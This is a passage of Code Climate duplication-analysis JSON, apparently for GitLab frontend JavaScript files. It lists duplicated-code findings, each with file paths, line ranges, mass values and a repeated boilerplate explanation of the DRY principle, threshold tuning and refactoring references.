ways).\n\n## Tuning\n\n**This issue has a mass of 125**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0fee1b42ff17f6df3a6f14e35f13cf18","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes/stores/actions.js","lines":{"begin":117,"end":127}},"remediation_points":2700000,"other_locations":[{"path":"app/assets/javascripts/notes/stores/actions.js","lines":{"begin":105,"end":115}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 125**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0fee1b42ff17f6df3a6f14e35f13cf18","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":183,"end":186}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":188,"end":191}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":193,"end":196}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":198,"end":201}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8fc9b42e2195587e4e8d777e75ad89d8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":188,"end":191}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":183,"end":186}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":193,"end":196}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":198,"end":201}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8fc9b42e2195587e4e8d777e75ad89d8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":193,"end":196}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":183,"end":186}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":188,"end":191}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":198,"end":201}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8fc9b42e2195587e4e8d777e75ad89d8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":198,"end":201}},"remediation_points":750000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":183,"end":186}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":188,"end":191}},{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":193,"end":196}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 60**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8fc9b42e2195587e4e8d777e75ad89d8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/snippets/show/index.js","lines":{"begin":7,"end":13}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/snippets/show/index.js","lines":{"begin":7,"end":13}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"15c8237c5ef3dd70061ce1d44bd5d199","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/snippets/show/index.js","lines":{"begin":7,"end":13}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/pages/snippets/show/index.js","lines":{"begin":7,"end":13}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8ae282c95da75609356442ee0da6e6fc","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/groups/new_group_child.js","lines":{"begin":28,"end":36}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":253,"end":262}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"611a498e9c5e5d8f256a05631ef5ac51","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":253,"end":262}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/groups/new_group_child.js","lines":{"begin":28,"end":36}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"37087f35974839e5e79033d561c840a6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issuable_bulk_update_actions.js","lines":{"begin":110,"end":117}},"remediation_points":2310000,"other_locations":[{"path":"app/assets/javascripts/issuable_bulk_update_actions.js","lines":{"begin":120,"end":126}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 112**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0e6b703c746c94d22e3a02f1993665ce","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issuable_bulk_update_actions.js","lines":{"begin":120,"end":126}},"remediation_points":2310000,"other_locations":[{"path":"app/assets/javascripts/issuable_bulk_update_actions.js","lines":{"begin":110,"end":117}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 112**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0e6b703c746c94d22e3a02f1993665ce","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"scripts/frontend/prettier.js","lines":{"begin":64,"end":64}},"remediation_points":600000,"other_locations":[{"path":"scripts/frontend/prettier.js","lines":{"begin":71,"end":71}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef21ab3df8b01ca7e22d4d8804157d7a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"scripts/frontend/prettier.js","lines":{"begin":71,"end":71}},"remediation_points":600000,"other_locations":[{"path":"scripts/frontend/prettier.js","lines":{"begin":64,"end":64}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold 